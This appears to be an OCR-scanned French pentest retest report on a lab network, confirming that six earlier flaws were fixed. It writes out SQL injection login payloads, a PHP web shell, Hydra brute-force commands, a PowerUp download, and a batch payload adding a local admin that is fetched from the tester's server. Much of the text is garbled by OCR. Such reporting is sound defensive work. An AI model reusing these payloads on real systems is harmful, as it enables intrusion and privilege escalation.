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Introduction

Ce document présente un rapport d'attaque post-sécurisation, détaillant les tests de
pénétration externe (blackbox) et interne (whitebox) menés sur le périmétre défini par
IRON4SOFTWARE. L'objectif principal de ces tests est de réévaluer I'efficacité des mesures de
sécurité mises en place par le client suite aux vulnérabilités identifiées lors d'une phase de
tests d'intrusion initiale. Il répertorie les découvertes précédemment identifiées et analyse si
elles ont été corrigées avec succes.

1.Rapport d'attaque post sécurisation

Document Confidentiel
Le contenu de ce document ne doit pas étre divulgué a des sources externes sans accord
préalable.

2.Déclaration de confidentialite

Ce document, élaboré par DEL-Cyber, est protégé par le droit de la propriété intellectuelle et
contient des informations confidentielles. Sa diffusion a des tiers (fournisseurs, partenaires
commerciaux ou prestataires) est strictement interdite sans I'accord préalable de DEL-Cyber. ||
ne constitue en aucun cas un avis juridique, mais s'inscrit dans le cadre d'un service de
conformité.

3.Contacts

Contacts client (nom, titre, média de communication) :

Martin Michel DSI de Iron4software michel.martin@iron4software.com

Contact consultant (nom, titre, média de communication) :

Hupont Damien Pentester junior damien.hupont@del-cyber.com;
Massafra Emilio pentester junior emilio.massafra@del-cyber.com;

Mouly Ludovic pentester junior ludovic.mouly@del-cyber.com

4.Engagement

Le document qui suit concerne le test de pénétration externe effectué en black box et
le test de pénétration interne en whitebox sur le périmétre suivant :

Cible dans le périmetre Description

192.168.1.0/24 Plage réseau
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192.168.100.0/24 Plage réseau

L'objectif fixé par le client consiste a réévaluer, apres securisation, les tentatives
d'exploitation des vulnérabilités découvertes lors de la phase initiale de tests d'intrusion.

5.Résumeé Exeécutif

Pour rappel, le premier test de sécurité Del-Cyber a révélé six failles majeures. Trois
sont critiques, deux élevées et une moyennes. L'exploitation combinée de ces failles a simulé
une compromission totale du systeme informatique.

Le second test d'intrusion post-sécurisation, réalisé par DEL-Cyber, confirme que
toutes les vulnérabilités identifiees lors de I'évaluation initiale ont été corrigées avec succes.
Les actions de durcissement et de sécurisation mises en ceuvre ont permis de résoudre
I'ensemble des failles, y compris celles de gravité critique, élevée et moyenne.

Cette réussite demontre I'efficacité des mesures correctives et I'engagement
d'IRON4ASOFTWARE a renforcer la posture de sécurité de son systeme d'information. Les tests
ont confirmé que les accés non autorisés ont été bloqués, les configurations durcies, et les
systemes renforcés contre les tentatives d'exploitation.

DEL-Cyber recommande a IRON4SOFTWARE de maintenir cette vigilance, en
poursuivant les efforts de surveillance et en intégrant des cycles réguliers de tests de sécurité
pour garantir la pérennité de ces améliorations face a I'évolution des menaces.

6.Découvertes de nouveau testées

Le premier test de pénétration effectué par DEL-Cyber a mené a la découverte de 6
vulnérabilités menacant la confidentialité, |'intégrité et la disponibilité du systeme
d'information ciblé.

La table ci-jointe détaille les niveaux de sévérité des decouvertes.

Sévérité
des découvertes

Elevée Moyenne Faible Total

2 1 0 6
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Sévérité des découvertes

Moyenne
16.7%

Critique
50.0%
Elevée

Ci-dessous se trouve la liste des vulnérabilités a nouveau testées dans ce rapport.

n° de la découverte Niveau de sévérité Nom de la découverte

6. Moyenne RCE upload
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7.Déroulé du test de pénétration externe
BLACKBOX

Cette approche externe en "boite noire" (blackbox) vise a détecter les vulnérabilités
découvertes lors du premier PENTEST et a vérifier leur correction.

Le déroulement du test a suivi la méthodologie PTES.

7.1 Reconnaissance du réseau

Un scan ping du réseau 192.168.1.0 ne permet de détecter aucune machine

192 .168.1.8/2
arting Nmap 7.94SVN ( :/ 1} at 2 P9-22 15:@81 CEST
1 elapsed; @ completed (€ ) rgoing Ping
About 10.25% done; ETC: 15:04 4 remaining)
lapsed; @ completed (@ ) rgoing Ping Sca
About % done; ETC: 15:04 3 remaining)
lapsed; @ hosts eted (@ ) 5 ergoing Ping Sca
About 12.21 C: 15:04 (@: remaining)
undergoing Ping Sca
140 remaining)
undergoing Ping 5ca
done; ETC: ; 39 remaining)
completed (@ )6 undergoing Ping Sca
Timing: About 71.7 one; ETC: 38 remaining)
256 IP address (@ hosts up) scanned in 286.29
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192.168.100.@
Starting Nmap 7.94SVN
Nmap scan report for 192.
Host is up (@
Nmap done: 256 IP

On réalise un scan agressif sur la machine détecté

La machine 192.168.100.2 a le port 80 ouvert, indiquant qu'une application web
intitulée "lron4Software SARL - Accueil" y est hébergée. Le systeme d'exploitation est Linux,
probablement Ubuntu, mais la version exacte du noyau est inconnue.

Le port 443 semble utilisé mais clos.
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192.168.100.2

Address
« 182.168.100.2 (ipvd)
Ports

The 65533 poris scanned but not shown below are in state: filtered

+ BE5533 ports replied with: no-response

State (roggle closed [1] | filtered [0]} Service Reason Product Version Extra info
B0 ip apen hittp syn-ack Apache hitpd 2458 (Ubuntu}
l'lp-git
192.168.100.2:80/.9it/
| Git repository found!
.git/config matched patterns 'bug’
Repository description: Unnamed repository; edit this file 'description’ to name the...
Remotes:
http-cookie-flags
&8
PHPSESSID:
httponly flag net set

http-server-header
Apaches2.4.58 (Ubuntu)

http-itle .
IrondSoftware SARL - Accueil

Remote Operating System Detection

+ Used port: 80/tcp (open)

» Used port: 443cp (closed)

05 match; Linux 4.0 (90%)

05 match: Limux 2.6.32 (89%)

05 match: Linux 2.6.32 or 3.10 (89%)
OS5 match: Limux 4.4 (89%)

05 match: Limux 2.6.32 - 2.6.35 (86%)
05 match: Limux 2.6.32 - 2.6.39 (85%)

7.2 Modélisation du réseau

On suppose que la machine 192.168.100.2 est positionnée derriére un routeur/pare-feu.
DEL-Cyber méne une attaque externe en BLACKBOX, comme cela a été indiqué
précédemment.
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192.168.50.9

Routeur

192.168.100.2

Ubuntu - Serveur web

7.3 Exploitation

7.3.11Injection SQL sur serveur web Ubuntu (192.168.100.2)

Nous avons établi une connexion au serveur web. En effet, lors de notre analyse
préalable avec la commande nmap, nous avions identifié la présence d'un service HTTP actif.

Nous avons donc accédé au site en utilisant I'URL http://192.168.100.2.

Bypass de connexion (login.php) via Injection SQL

Formulaire concerné:
page : /auth/login.php
champs : username / password

Payloads utilisés pour le login :
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http://192.168.1.2?utm_source=chatgpt.com

username: admin' --
username: ' OR 1=1 --
password: peu importe

Résultat constaté :

#? Connexion Employés

Plateforme Iron4Software - Accés sécurisé

I, Identifiants incorrects

8 Nom d'utilisateur

"OR1=1~
Caractéres autorisés: lettres, chiffres, ._-
4 Mot de passe

Votre mot de passe

Saisissez votre mot de passe

Se connecter

I Tentatives échouées : 1/5

La tentative d'accés finit en échec et on a visiblement droit a 5 tentatives maximum.
Au dela on se retrouve bloqué durant 5 minutes.

@& Connexion Employés

Plateforme lron4Software - Accés sécurisé

! Trop de tentatives échouées. Réessayez dans 5

minutes.

Accés temporairement blogué pour des raisons de
sécurité.

La découverte n°2 avec une criticit¢ | SHGMEE semble étre corrigée pour le formulaire de
connexion.

La découverte n°5 avec une criticité "éleve” semble étre corrigée car nous n'avons pas acces
au protocole ssh, elle sera testée ultérieurement en whitebox.

7.4 Conclusion du test externe blackbox

Suite a ces blocages, nous ne pouvons plus tester les vulnérabilités précédemment
découvertes. Nous allons donc passer en mode White Box sur le réseau interne
192.168.1.0/24.

Pour rappel, le client nous a donné son accord pour cette nouvelle approche.
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8.Déroulé du test de pénétration interne
WHITEBOX

Cette approche en "boite blanche" (white box) sur le réseau interne du client
192.168.1.0/24 vise a détecter les vulnérabilités découvertes lors du premier PENTEST et a
vérifier leur correction.

Le déroulement du test a suivi la méthodologie PTES.

8.1 Reconnaissance du réseau

Etant donné que nous sommes en Whitebox, le client nous a fourni la cartographie des
actifs du réseau 192.168.1.0/24 et 192.168.100.0/24. Nous nous sommes vu affecter une
adresse ip en 192.168.1.10 pour le poste Kali.

Nous avons quand méme relancé la reconnaissance réseau, cela correspond a la
cartographie fournie. Ci-dessous les commandes nmap qui le confirment.

Les deux scan ping suivants confirment qu'il n'y a pas de machine omise par le client.

Nmap scan

Host is up

MAC Address:

Nmap scan

Host is up . .

MAC Address: BC( 11:45:CE: (Unknown )
Nmap scan re r 1 1.254

Host is up (@. L3

MAC Addre C:24:11:93:9i (Unknown)
Nmap scan report for 1 1

Host is up.

Nmap done:

Starting Nmap 7.9
Nmap scan report for
Host i (@.0031s
Nmap

Host is up

Nmap done:

report-nmap-whi

La présence d'un controleur de domaine est confirmée sur I'adresse 192.168.1.1,
attestée par I'écoute sur les ports DNS (53) et LDAP (389), ainsi que par la détection d'un
Active Directory. Ce contréleur gére le domaine IRON4SOFTWARE.LAB, avec le nom FQDN
DC-IRON.IRON4SOFTWARE.LAB. Le systeme d'exploitation de la machine est Windows Server
20719.
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192.168.1.1 / DC-IRON.IRON4ASOFTWARE.LAB

Address

+ 192.168.1.1 (ipvd)
» BC:24:11:E1:98:82 (mac)

Hostnames
» DC-IRON.IRON4SOFTWARE.LAB (FTR)
Ports

The 65515 ports scanned but not shown below are in state: filtered

» 65515 ports replied with: no-response

Port State (toggle closed [0] | filtered [0]) Service Reason |Product Version |Extra info

53 tcp open domain syn-ack |Simple DNS Plus

B8 tcp open kerberos-sec  |syn-ack |Microsoft Windows Kerberos server time: 2025-09-22 15:29:557

135 tcp open msrpc syn-ack [Microsoft Windows RPC

139 tcp open netbios-ssn syn-ack [Microsoft Windows netbios-ssn

389 tcp open Idap syn-ack [Microsoft Windows Active Directory LDAP Domain: IRON4SOFTWARE.LABO., Site: Default-First-Site-Name
445  |tcp open microsoft-ds  |syn-ack

464  |tcp open kpasswd5 syn-ack

593 |top open ncacn_http syn-ack |Microsoft Windows RPC over HTTP 1.0

636 tcp open tcpwrapped syn-ack

3268 |tcp open Idap syn-ack [Microsoft Windows Active Directory LDAP Domain: IRON4SOFTWARE.LABO., Site: Default-First-Site-Name
3269 |tcp open tcpwrapped  [syn-ack

53/tcp > DNS

88/tcp - Kerberos (authentication Active Directory)
135/tcp - MS RPC (communications Windows)
139/tcp - NetBIOS

389/tcp - LDAP (annuaire Active Directory, non chiffré)
445/tcp > SMB (partage fichiers, AD)

464/tcp - Kerberos kpasswd5

593/tcp - RPC over HTTP (ncacn_http)

636/tcp > LDAPS (LDAP chiffré)

3268/tcp - lié a LDAP

3269/tcp > lié a LDAPS

La machine 192.168.1.4 est membre du domaine IRON4SOFTWARE.
192.168.1.4

Address

» 192.168.1.4 (ipvd)
» BC:24:11:45:CE:ES (mac)

Ports

The 65530 ports scanned but not shown below are in state: filtered

» 55530 ports replied with: no-response

Port State (toggle closed [0] | filtered [0]) Service Reason Product

135 tcp open msrpc syn-ack Microsoft Windows RPC

3389 tcp open ms-whbt-server syn-ack Microsoft Terminal Services
ssl-cert

Subject: commonName=USER-TRON. [RONSSOFTHARE . LAB
Mot valid before: 2825-87-31T@1:59:24
Mot valid after: 2826-81-38T@1:59:24

rdp-ntim-info

Target_Name: IROMN4SOFTWARE
NetBIOS_Domain Name: IRONASOFTWARE
NetBIOS_Computer_Name: USER-IRON
DNS_Domain_Name: IROM4SOFTWARE.LAB
DNS_Computer_Name: USER-IRON.IRON4SOFTWARE.LAB
DNS_Tree_Name: IRON4SOFTWARE.LAB
Product_Version: 10.8.19041

System_Time: 2025-€9-22T15:31:22:98:00

ssl-date R
2925-29-22T15:32:01+28:00; +25 from scanner time.

5040 tcp open | ‘sy‘n—ack |
5985 tcp open [http [syn-ack [Microsoft HTTRAPL hitpd
http-server-header

Microsoft-HTTPAPI/2.8

http-title
Mot Found

7680 tcp open pando-pub syn-ack

135/tcp > MS RPC (communications Windows)
3389/tcp > RDP (Remote Desktop Protocol) — Bureau a distance
Certificat : USER-IRON.IRON4SOFTWARE . LAB
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Domaine : IRON4SOFTWARE . LAB

Machine : USER-IRON

OS : Windows 10/Server 2019 (10.0.19041)

5985/tcp > WinRM (Windows Remote Management)

7680/tcp - Delivery Optimization (partage P2P des mises a jour Windows)

Pour rappel, on a identifié le serveur web Ubuntu 192.168.100.2 dans la précédente
reconnaissance réseau, il est bien présent dans la cartographie donnée.

8.2. Modélisation du réseau

GW WAN 192.168.50.8

GW LAN INTERNE : GW LAN DMZ
g/ 192.168.1.254 192.168.100.254

o
DEL-Cyber

192.168.1.10

192168.1.1
Windows server 2079 AD -DNS

g 192.168.1.4 E—

=
Poste windows 10

8.3 Exploitation

8.3.1. SSH Brute force sur serveur web Ubuntu (192.168.100.2)

Une attaque par force brute via SSH a été tentée sur le serveur Ubuntu (192.168.100.2)
en utilisant I'outil Hydra. Les listes de mots utilisées pour cette tentative étaient
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top-usernames-shortlist.txt pourles noms d'utilisateur et best1050. txt pour les mots
de passe.
On constate que hydra a trés rapidement été bloqué.

— =L fusrfshare!secllststsernamesftnp usernames- shnrtllst txt -P /usr/share/seclists/Passwords/Com

M se do not use in military or s service or
is non-binding, these #** ignore laws and ethics angw .

hauser-thc/thc-hydra) starting at : -@9-22 16:55:40
ions limit the number of parallel < it is recommended to reduce the tasks

(use option -I to skip waiting)) from a previous ses
sion found, t g
[DATA] max 16 t ] [ 11 16 task login tries (1:17/p:1049), ~1115 tries per task
[DATA] att | y /
[VERBOSE] §
[INFO] Testing i r tication i " / cot@l192.168.100
[ERROR] could not connect to ss .

Le client nous a alerté comme quoi notre ip était bloquée par fail2ban comme on peut
le constater ci-dessous :

sudo failZban-client status sshd

"dI-LHG.dUth

Currently banned: 1
Total banned:
Banned IP 1

La découverte n°5 avec une criticité [‘éleve” semble étre corrigée.

8.3.2. Exécution de code arbitraire via upload de fichier PHP (« RCE
upload ») sur serveur web Ubuntu (192.168.100.2)

Nous avons analysé le site web avec Dirb apres que le client nous ait donné acces a
I'application. Certaines pages sont détectées mais celles-ci ne sont plus visibles par rapport a
premier test d'intrusion.
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192.168.1088.2

DIRE w2.22
By The Dark Ra

DOWNLOAD

START_TIME: Tue ° 29:@8 2825 END_TIM

La répertoire “secure” et "uploads" ne sont pas listable, comme on le constate
ci-dessous.

& C @ Q & 192.168.100.2 ;

< C o O & 192168.100.2

Kali Linux & KaliTools = KaliDocs M KaliForums e\ Kali NetH Kali Linux # KaliTools = KaliDocs #& Kali Forums e Kali NetHu

Forbidden Forbidden

You don't have permission to access this resource. You don't have permission to access this resource.

Apache/2.4.58 (Ubuntu) Server at 192.168.100.2 Port 80 ~ Apache/2.4.58 (Ubuntu) Server at 192.168.100.2 Port 80

On crée un fichier php assez basique qu'on nomme shell.php avec le contenu
suivant : <?php system(S_GET["cmd"]); ?>

La page d'upload est disponible a cette adresse
http://192.168.100.2/secure/tools.php
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http://192.168.1.2/secure/tools.php

@ Upload de Fichiers Sécurisé - Iron4Software
Upload ultra-sécurisé avec validation stricte

B Upload de Fichiers

Fichier a uploader :

| Browse... | Mo file selected.

Upload Sécurisé

Types autorisés UNIQUEMENT :
+ Documents : PDF, TXT
« Images : PG, PNG, GIF
Taille maximum : 2MB
® STRICTEMENT INTERDITS :
« Archives : ZIP, RAR, 7Z, TAR
+« Documents Office : DOC, XLS, C5V (risque macros)
« Scripts : PHP, ]S, BAT, EXE
+« Base de données : SQL, DB, SQLITE
» Fichiers systeme : GDF, SWF, JAR

En tentant de I'uploader via le formulaire d'upload du site on obtient I'erreur suivante :

. Type de fichier strictement interdit : .php

Si on tente de le renommer au préalable sans I'extension .php

‘ I Type de fichier non autorisé : . (Seuls PDF, TXT, |PG, PNG, GIF sont acceptés)

Autre erreur si on renomme |'extension en .pdf

i Type MIME non autorisé : text/x-php

Cela confirme que la vulnérabilité de type Remote Code Execution n'est désormais plus
possible.

La découverte n°6 avec une criticité "moyenne” semble étre corrigée.

8.3.3. Vulnérabilité LFI par absence de contréle du chemin
(CWE-22/CWE-98) sur serveur web Ubuntu (192.168.100.2)
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Sur la page de rapport http://192.168.100.2/secure/reports.php il n'est plus
possible de mener a terme I'attaque LFI. L'application détecte I'attaque et nous bloque.

(— C @ O & 192.168.100.2

KaliLinux #& KaliTools ¢ KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB

ACCES REFUSE - Tentative d'inclusion détectée

La découverte n°1 avec une criticité¢ [[SHMIGIMEN semble étre corrigée.

8.3.4. RDP exposé avec controle d'accées inadéquat sur client
Windows 10 (192.168.1.4)

Nous avons précédemment vu que le port rdp 3389 est ouvert sur le client Windows
(NMAP).

Le compte "info" et son mot de passe (obtenu par le biais du client) ne permettent plus
d'obtenir un accés RDP.

/u:TRON4SOFTWARE. LAB\\Info /p: 2 ] v:192.168.1.4 /cert:ignore

FreeRDP: 192.168.1.4

Autre utilisateur

Pour vous connecter a distance, vous devez étre autorisé 3 utiliser les
Services Bureau a distance. Par défaut, les membres du groupe
Utilisateurs du Bureau a distance ont ce droit. Si le groupe auquel vous
appartenez ne dispose pas de ce droit ou que ce demnier a €té supprime
du groupe Utilisateurs du Bureau a distance, ce droit doit vous étre

accordé manuellement.

L’accés RDP sur la machine Windows 10 est désormais restreint uniquement aux membres
du groupe RDP_Acces, administrateur du domaine IRON4SOFTWARE ainsi que les
membres administrateurs locaux. La GPO Restriction Access RDP a permis de restreindre
les comptes d’accés a ce service.
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http://192.168.1.2/secure/tools.php

Restriction Acces RDP
Etendus Détails Paramétres Délégation

Restriction Acces RDP

Données recueillies le : 23/09/2025 08:09:35 afficher tout
Général Membres  Membre de  Géré par
Geénéral
masauer Membres
Détails
afficher Mom Dossier Services de domaine Active Directory
Ligisons z) Administrateur  IRON4SOFTWARE LAB/Users
afficher
Filtrage de sécurité
afficher
Délégation
afficher

masquer

Paramétres Windows
masquer
Paramétres de sécurité

masauer

égies | ion des droits utili
masauer

Stratégie Paramétre Ajouter. Supprimer

Autoriser I'ouverture de session par les services Teminal Server IRONASOFTWARE\RDP_Acces, IRON4SOFTWARE\Administrateur,

BUILTIN'\Administrateurs

oK
Configuration utilisateur (activée)

masauer
Aucun paramétre n'est défini

La découverte n°3 avec une criticité [[SEllGIIEE semble étre corrigée.

8.3.5. Elévation de priviléges locale via binaire updater.exe de
google chrome modifiable par un utilisateur authentifié (Windows
22H2) sur client Windows 10 (192.168.1.4)

Afin de tester cette vulnérabilité, le client nous a temporairement ajouté le compte "“info”
dans le groupe RDP_Acces vu précédemment ce qui nous permet d'accéder a la machine
Windows 10 192.168.1.4 en RDP.

Nous avons opté pour I'outil Powerup.ps afin d'identifier les vulnérabilités de droits sur
les binaires Windows.

Les commandes utilisées sont les suivantes :

1. Invoke-WebRequest -Uri

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/
Privesc/PowerUp.ps1 -OutFile PowerUp.psT

Le fichier PowerUp.ps1 est automatiquement détecté et bloqué par Windows Defender.

9 Menaces actuelles

== Sécurité Windows
Menaces détectées. Intervenez selon les recomma

Protection contre les virus et menaces

Menaces détectiées
. M , ’ IeE HackTool:PowerShell/EventVwrBypass

23/09/2025 08:49 (Actif)

Ele
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https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

HackTool:PowerShell/EventVwrBypass

Niveau d'alerte : Elevée

Etat : Actif

Date : 23/09/2025 08:49

Catégorie : Outil

Détails : Ce programme présente un comportement potentiellement non
désire.

En savoir plus

Eléments affectés :

file: D\installation\PowerUp.ps1

0K

Un renforcement antiviral semble avoir été effectué.

cueil Partage Affichage e
T <« (Google » GoogleUpdater » 141.0.7376.0 » v O Rechercher dans : 141.0.7376.0 0O

Nem Meodifié le Type Taille
‘apide

Crashpad Dossier de fichiers

u

| | prefsjson Fichier JSON 1 Ko
rargements [Z] uninstall.cmd Script de comman... 1 Ko
ments L) updater.exe Application 6695 Ko

Généralement, I'ouverture d'une session déclenche I'exécution planifiée de updater.exe.
Pour exploiter cette fonctionnalité, nous tentons de renommer le fichier C:\Program Files
(x86)\Google\GoogleUpdater\141.0.7376.0\updater.exe enC:\Program Files
(x86)\Google\GoogleUpdater\141.0.7376.08\updater_copy.exe

Nos permissions ne permettent plus de renommer le fichier.
Accés au fichier refusé X
il: Vous devez disposer d'une auterisation pour effectuer cette action.

Vous avez besoin d'une autorisation de la part de Administrateurs pour
modifier ce fichier.

updater.exe
Description du fichier: Google Updater (x64)
g Entreprise : Google LLC
Z’) Version du fichier: 141.0.7376.0
o Date de création : 11/09/2025 19:32
Taille: 6,53 Mo

Recommencer Annuler

-WebRequest

Nous avons créé un exécutable malveillant, nommé « updater.exe », a I'aide de I'outil
Bat_to_Exe_Converter sur une machine Windows, puis I'avons transféré sur la machine de
|'attaquant.
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: payload.bat

1 echo ROOT ¥ "C:\windows'\root.txt™
2 net user cyberu 123cyberu.! fadd
3  net localgroup Adeinistrateurs cyberu fadd

Ensuite, nous avons établi un serveur HTTP sur la machine de I'attaquant pour transférer le
fichier exécutable malveillant.

~fDocuments
http.server 8@

Serving HTTP on @ ! 5 ga/)

Ce dernier a été récupére viahttp://192.168.1.10/updater.exe et déposé dans le
répertoire en utilisant la commande Invoke-WebRequest -Uri
http://192.168.1.10/updater.exe -OutFile
“C:\Users\info\Downloads\updater.exe”

FS D:\installation> Invoke-WebReguest http://192.168.1.18/updater.exe

Le fichier fini directement bloqué par Windows Defender et est catégorisé comme un cheval de
Troie.

Trojan:Win32/Wacatac.C!ml

Miveau d'alerte : Grave

Etat: Actif

Date : 23/09/2025 10:50

Catégorie : Cheval de Troie

Détails : Ce programme est dangereux et il exécute des commandes
émanant d’'une personne malveillante.

En savoir plus

Eléments affectés

file: C\Users\info\Downloads\updater.exe

La découverte n°4 avec une criticité "“élevé” semble étre corrigée.

8.4. Conclusion du test interne whitebox

Le test de pénétration interne en white box a confirmé I'efficacité des mesures de
sécurisation mises en place. Toutes les vulnérabilités identifiées lors de I'évaluation initiale, y
compiris I'injection SQL, I'exécution de code arbitraire via upload, la vulnérabilité LFI, le brute
force SSH, le RDP exposé et |'élévation de privileges via updater.exe, ont été corrigées avec
succes. Les efforts de durcissement et de renforcement des systémes ont prouvé leur valeur,
bloquant toutes les tentatives d'exploitation.
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Conclusion

Ce rapport de test d'intrusion post-sécurisation délivré par DEL-Cyber atteste de
I'efficacité des actions correctives entreprises par IRON4ASOFTWARE suite a |I'évaluation initiale
de la sécurité de ses systemes. Il confirme, avec des preuves tangibles, que I'ensemble des
vulnérabilités préalablement identifiées ont été traitées et corrigées avec succes.

Les mesures de durcissement et de renforcement de la sécurité qui ont été mises en
ceuvre par IRON4ASOFTWARE ont été passées au crible lors de cette nouvelle série de tests.
Les résultats démontrent clairement que les failles de sécurité, qu'elles soient classées comme
critiques, élevées ou moyennes, ont toutes été résolues de maniére appropriée. Cette réussite
témoigne de I'engagement proactif et de la capacité d'IRON4ASOFTWARE a améliorer
significativement sa posture de sécurité face aux menaces cybernétiques.

DEL-Cyber souligne que la sécurité informatique est un processus continu. L'entreprise
recommande a IRON4SOFTWARE de maintenir une vigilance constante, d'intégrer des tests de
sécurité réguliers et des audits d'intrusion pour une protection continue et la résilience de ses
systemes face aux menaces évolutives.
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9. Annexes

9.1.Définition des criticités

Critique
Représente les failles les plus graves, qui peuvent souvent étre exploitées a distance
par des attaquants non authentifiés et qui menent a une compromission totale du systeme.

Elevé

Désigne des vulnérabilités qui sont difficiles a exploiter ou qui ont un impact Iégérement
moindre, mais qui restent trés dangereuses et nécessitent une attention prioritaire.

Moyenne
Concerne des failles qui sont plus difficiles a exploiter, qui requiérent des privileges spécifiques
ou une interaction utilisateur, ou dont I'impact est limité. Elles doivent tout de méme étre
corrigées.

Faible

Représente des vulnérabilités ayant un faible impact et étant difficiles a exploiter. Elles sont
souvent traitées aprés les failles plus critiques.

9.2.Rapport NMAP du réseau 192.168.1.0/24

B Nmap attaque whitebox.pdf

9.3. Rapport NMAP du serveur 192.168.100.0/24 DMZ

B Nmap attaque post sécurisation.pdf

9.4.0utils utilisés

> Powerup.psi
(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master
/Privesc/PowerUp.ps1)
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